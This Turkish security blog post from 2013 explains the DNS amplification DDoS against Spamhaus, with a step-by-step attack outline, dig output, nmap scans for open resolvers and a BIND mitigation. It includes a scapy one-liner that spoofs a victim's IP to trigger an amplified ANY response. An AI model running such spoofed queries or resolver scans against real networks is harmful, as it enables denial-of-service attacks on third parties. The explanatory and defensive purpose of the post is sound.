31 03 2013

Internet'in İşleyişi DDoS Saldırıları ile Durdurulabilir mi?



Geçtiğimiz hafta  haber sitelerine oldukca dikkat çekici bir haber düştü. Haberin başlığı  "Internet tarihinin en büyük DDoS Saldırısı..." şeklindeydi. Haberlerde okuduğumuz  15 Mart 2013 tarihinde SpamHaus'a yönelik gerçekleştirilen DDoS saldırısının boyutunun 300 Gbps'e ulaştığı ve belirli bölgelerde internet kullanıcılarının yavaşlık sorunu yaşadığı yönündeydi.
Saldırı ile ilgili internet kaynaklarının tamamına yakını olayın magazin yönüyle ilgilendiği için teknik detayını merak eden arkadaşlara yönelik BGA olarak hızlıca saldırının teknik detaylarını içeren bir blog girdisi hazırladık.
Yazıda anlatılan yöntem ve DNS, DNS'e yönelik DDOS saldırıları, DNS'in kullanıldığı DDoS saldırıları hakkında detay bilgi almak isteyenler BGA tarafından geçtiğimiz yıl yayınlanan DNS Servisine Yönelik DDoS Saldırıları konulu belgeyi okuyabilir.


Saldırının detayları  aşağıdaki linklerden okunabilir.
  • http://blog.cloudflare.com/the-ddos-that-almost-broke-the-internet adresinden okunabilir.
  • http://www.turk.internet.com/portal/yazigoster.php?yaziid=41654

DNS'in Önemi ve IP Spoofing


Internet dünyasının çalışmasını sağlayan ana protokoller incelediğinde güvenlik açısından en önemli protokollerden birinin DNS olduğu ortaya çıkmaktadır. Basitçe DNS, günümüz e-posta iletişiminin ve internet altyapısının sağlıklı çalışmasında kritik rol oynamaktadır.

DNS’in UDP üzerine kurulmuş olması ve UDP üzerinden gerçekleştirilen iletişimde kaynak IP adresinin gerçek olup olmadığını anlamanın kesin bir yolunun olmaması saldırganın kendini gizleyerek saldırı gerçekleştirmesini kolaylaştırmakta ve engellemeyi zorlaştırmaktadır.

DNS Protokolünde IP Sahteciliği ( IP Spoofing)


DNS, UDP tabanlı bir protokol olduğu için hem DNS istekleri hem de DNS cevaplarında kullanılan ip adresleri istenildiği gibi belirlenebilir. IP spoofing yapılabiliyor olması demek hem DNS isteklerinin hem de cevaplarının sahte olabileceği anlamına gelmektedir. 


Sahte DNS isteği üretmeyi engelleyecek herhangi bir yöntem bulunmamaktadır (URPF [2] hariç) UDP katmanında IP spoofing için bir önlem olmaması nedeniyle DNS ip sahteciliğini önlemek için uygulama seviyesinde iki temel önlem almıştır. 

Bu önlemlerden ilki DNS TXID başlık bilgisinin random olması diğeri de kaynak port numarasının random olarak belirlenmesidir.


Amplified DNS DoS Saldırıları


Bu saldırı tipinde gönderilen DNS isteğine dönecek cevabın kat kat fazla olması özelliğini kullanır. Sisteme gönderilecek 50 byte’lık bir DNS isteğine 500 Byte~cevap döndüğü düşünülürse saldırgan elindeki bant genişliğinin 10 katı(Bazı durumlarda 50-100 kat) kadar saldırı trafiği oluşturabilir.


NOT: RFC’e göre DNS(UDP) paketleri 512 bytedan büyük olamaz. 512 bytedan büyük DNS paketlerinde UDP’den TCP’e geçiş yapılır ya da sistem destekliyorsa EDNS0(RFC 2671) özelliği kullanılır.
Günümüzde çok az sayıda da olsa bazı ağ/güvenlik cihazları 512 bytedan büyük DNS(UDP) paketlerini engellemektedir.(Cisco PIX cihazlarda 512 bytedan büyük udp paketlerinin engellenmesi öntanımlı olarak gelir),

 


 

Adım Adım DNS Amplification DoS Saldırısı

1.Adım: Saldırgan rekursif sorguya açık DNS sunucu bulur ve daha önce hazırladığı özel alan adını sorgulatır (Spamhaus/Cloudflare saldırısında rip.net ANY dns sorgusu kullanılmıştır). Bu isteğin boyutu ortalama 50 Byte tutmaktadır.

2.Adım: Ara DNS sunucu kendi ön belleğinde olmayan bu isteği gidip ana DNS sunucuya sorar (50 Byte)

3.Adım: Ana DNS sunucu test.bga.com.tr için gerekli cevabı döner (Saldırıda 2.500 Byte )

4. Adım: Ara DNS sunucu cevabı  ön belleğine alarak bir kopyasını Saldırgana döner. Burada amaç ARA DNS sunucunun dönen 2.500 Byte’lık cevabı ön belleğe almasını sağlamaktır.

5.Adım: Test kullanıcısı (saldırganın kontrolünde) test.bga.com.tr alan adını sorgular ve cevabın cachede olup olmadığını anlamaya çalışır.

6.Adım: Ara DNS sunucu ön belleğinden 2.500 Byte cevap döner

7.Adım: Saldırgan Kurban’ın IP adresinden geliyormuş gibi sahte DNS paketleri gönderir. DNS paketleri test.bga.com.tr’i sorgulamaktadır (ortalama 100.000 dns q/s). Bu üretilen paketlerin Saldırgana maliyeti 100.000 X50 Byte olmaktadır.

8.Adım: Ara DNS sunucu gelen her paket için 2.500 Byte’lık cevabı Kurban sistemlere dönmeye çalışacaktır. Böylece Ara DNS sunucu 100.000X2.500 Byte trafik üreterek saldırganın kendi trafiğinin 50 katı kadar çoğaltarak Kurban’a saldırıyor gözükecektir.


Gerçekleştirilen Saldırının Simulasyonu


SpamHaus'a (Dolayısıyla onu koruyan Cloudflare firmasına) gerçekleştirilen saldırıda ripe.net ANY dns isteğinin kullanıldığı belirtiliyor.

Genele açık DNS sunucular ripe.net için gönderilecek ANY tipinde 50 Byte'lık bir DNS isteğine karşılık 2500 Byte'lık bir cevap dönmektedir.  

Yaklaşık pratik olarak 50 kat daha fazla trafik üretebilmektedir. Kabaca elinde 10 Gbps'lik Botnet ağı  olan bir saldırgan bu yöntemi kullanarak 500 Gbps DDoS (DNS) trafiği oluşturabilir.



huzeyfe@bt:~$ dig ANY ripe.net  +edns=0 +bufsize=4096
;; Truncated, retrying in TCP mode.
;; Connection to 127.0.0.1#53(127.0.0.1) for ripe.net failed: connection refused.


; <<>> DiG 9.7.0-P1 <<>> ANY ripe.net +edns=0 +bufsize=4096
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53646
;; flags: qr rd ra; QUERY: 1, ANSWER: 23, AUTHORITY: 0, ADDITIONAL: 1


;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;ripe.net.                      IN      ANY


;; ANSWER SECTION:
ripe.net.               3519    IN      SOA     pri.authdns.ripe.net. dns.ripe.net. 1364490904 3600 600 864000 3600
ripe.net.               21519   IN      A       193.0.6.139
ripe.net.               219     IN      AAAA    2001:67c:2e8:22::c100:68b
ripe.net.               3519    IN      NS      tinnie.arin.net.
ripe.net.               3519    IN      NS      sec1.apnic.net.
ripe.net.               3519    IN      NS      sec3.apnic.net.
ripe.net.               3519    IN      NS      ns3.nic.fr.
ripe.net.               3519    IN      NS      pri.authdns.ripe.net.
ripe.net.               3519    IN      NS      sns-pb.isc.org.
ripe.net.               219     IN      MX      200 postgirl.ripe.net.
ripe.net.               219     IN      MX      250 postlady.ripe.net.
ripe.net.               3519    IN      NSEC    256cns.ripe.net. A NS SOA MX AAAA RRSIG NSEC DNSKEY
ripe.net.               3519    IN      DNSKEY  257 3 5 ...
...
...
...
SRzeytZjuXEK9LotoJDJJMYsLM9hNbcIuj/2bDbab2gxD1qtvM3JXcHo 7Hc2LlKgg2WngpdKn39ieuykY7yQF+M/CCxarYp6iZSKBAUjoNF8XQf2 KNNSXfgpeGZELFk3VO5w+Og32QHDJFAQxzjs/HqRJ5cUIhqGOLEmm2MD kIr1gWja/8t12Zzk9aOODHYZHa+KypnBjtOwubYrtdywWa62zISkj2YJ 6E/ItQ==

;; Query time: 69 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun Mar 31 18:52:57 2013

;; MSG SIZE  rcvd: 2509

Basitce aşağıdaki scapy satırı tek bir ip adresinden yapılacak DNS amplification denemesini gösterecektir.
>>> sr1(IP(src="KURBAN_IP_ADRESİ",dst="8.8.8.8")/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname="ripe.net",qtype="ANY")))


Genele Açık DNS Sunucular ve Barındırdığı Riskler

Genele  açık DNS sunucular(public dns) kendisine gelen tüm istekleri cevaplamaya çalışan türde bir dns sunucu tipidir. Bu tip dns sunucular eğer gerçekten amacı genele hizmet vermek değilse genellikle eksik/yanlış yapılandırmanın sonucu ortaya çıkar.


Bir sunucunun genele açık hizmet(recursive DNS çözücü) verip vermediğini anlamanın en kolay yolu o DNS sunucusu üzerinden google.com, yahoo.com gibi o DNS sunucuda tutulmayan alan adlarını sorgulamaktır.

Eğer hedef DNS sunucu genele açık bir DNS sunucu olarak yapılandırıldıysa aşağıdakine benzer çıktı verecektir.

~# dig www.google.com @91.93.119.70
; <<>> DiG 9.5.0-P2.1 <<>> www.google.com @91.93.119.70
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26294
;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;www.google.com. IN A
;; ANSWER SECTION:
www.google.com. 44481 IN CNAME www.l.google.com.
www.l.google.com. 118 IN A 66.102.13.147
www.l.google.com. 118 IN A 66.102.13.99
www.l.google.com. 118 IN A 66.102.13.105
www.l.google.com. 118 IN A 66.102.13.103
www.l.google.com. 118 IN A 66.102.13.104
www.l.google.com. 118 IN A 66.102.13.106
;; Query time: 16 msec
;; SERVER: 91.93.119.70#53(91.93.119.70)
;; WHEN: Sat Jul 24 13:23:59 2010
;; MSG SIZE rcvd: 148

Eğer DNS sunucu genele açık hizmet verecek şekilde yapılandırılmadıysa aşağıdakine benzer çıktı verecektir.

[root@seclabs ~]# dig @ns1.gezginler.net www.google.com
; <<>> DiG 9.6.1-P1 <<>> @ns1.gezginler.net www.google.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33451
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 0
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;www.google.com. IN A
;; AUTHORITY SECTION:
. 518400 IN NS H.ROOT-SERVERS.NET.
. 518400 IN NS I.ROOT-SERVERS.NET.
. 518400 IN NS J.ROOT-SERVERS.NET.
. 518400 IN NS K.ROOT-SERVERS.NET.
. 518400 IN NS L.ROOT-SERVERS.NET.
. 518400 IN NS M.ROOT-SERVERS.NET.
. 518400 IN NS A.ROOT-SERVERS.NET.
. 518400 IN NS B.ROOT-SERVERS.NET.
. 518400 IN NS C.ROOT-SERVERS.NET.
. 518400 IN NS D.ROOT-SERVERS.NET.
. 518400 IN NS E.ROOT-SERVERS.NET.
. 518400 IN NS F.ROOT-SERVERS.NET.
. 518400 IN NS G.ROOT-SERVERS.NET.
;; Query time: 140 msec
;; SERVER: 208.43.98.30#53(208.43.98.30)
;; WHEN: Sat Aug 7 16:18:15 2010
;; MSG SIZE rcvd: 243


Bir IP aralığındaki tüm public DNS sunucuları bulmak için Nmap (Nmap Scripting Engine) kullanılabilir.


root@seclabs:~# nmap -PN -n -sU -p 53 –script=dns-recursion.nse 91.93.119.65/28
Starting Nmap 5.00 ( http://nmap.org ) at 2010-07-24 13:19 EDT
Interesting ports on 91.93.119.64:
PORT STATE SERVICE
53/udp open|filtered domain
Interesting ports on 91.93.119.65:
PORT STATE SERVICE
53/udp open|filtered domain
Interesting ports on 91.93.119.66:
PORT STATE SERVICE
53/udp open|filtered domain
Interesting ports on 91.93.119.67:
PORT STATE SERVICE
53/udp open|filtered domain
|_ dns-recursion: Recursion appears to be enabled
Interesting ports on 91.93.119.68:
PORT STATE SERVICE
53/udp open|filtered domain
Interesting ports on 91.93.119.69:
PORT STATE SERVICE
53/udp open|filtered domain
|_ dns-recursion: Recursion appears to be enabled
Interesting ports on 91.93.119.70:
PORT STATE SERVICE
...
....
53/udp open|filtered domain
|_ dns-recursion: Recursion appears to be enabled
Interesting ports on 91.93.119.77:
PORT STATE SERVICE
53/udp open|filtered domain
Interesting ports on 91.93.119.78:
PORT STATE SERVICE
53/udp open|filtered domain
|_ dns-recursion: Recursion appears to be enabled
Interesting ports on 91.93.119.79:
PORT STATE SERVICE
53/udp open|filtered domain
Nmap done: 16 IP addresses (16 hosts up) scanned in 34.65 seconds

Public DNS sunucular neden güvenlik açısından risklidir?


Public dns sunucuların özellikle DNS flood saldırılarına karşı sıkıntılıdırlar. Saldırgan public dns sunucuları kullanarak amplification dns flood saldırılarında size ait dns sunuculardan ciddi oranlarda trafik oluşturarak istediği bir sistemi zor durumda bırakabilir.

DNS sunucu olarak ISC BIND kullanıyorsanız aşağıdaki tanımla recursive dns sorgularına yanıt vermeyi engelleyebilirsiniz.

options { allow-recursion { 127.0.0.1; };


Open Resolver Project grubunun çalışmasına göre dünya üzerinde ~22 milyon recursive DNS sunucu bulunmakta. Bu durum internet'in(ISP'lerin) DDoS saldırıları konusunda alması gerektiği yolun henüz başında olduğunu göstermeye yetecek bir kanıttır.

Huzeyfe ÖNAL

Bilgisayar mühendisliği eğitiminin ardından 2002 yılından itibaren Ford, AVEA, Vodafone, Turkcell gibi Türkiye’nin altyapı olarak en büyük firmalarında Linux/UNIX sistem uzmanı, ağ güvenliği yöneticisi, bilgi güvenliği denetim uzmanı, adli bilişim analiz uzmanı, sızma testleri uzmanı olarak görev alan Huzeyfe ÖNAL BGA Bilgi Güvenliği Eğt. Dns. Ltd. Şti. bünyesinde çalışmaktadır.

1 yorum: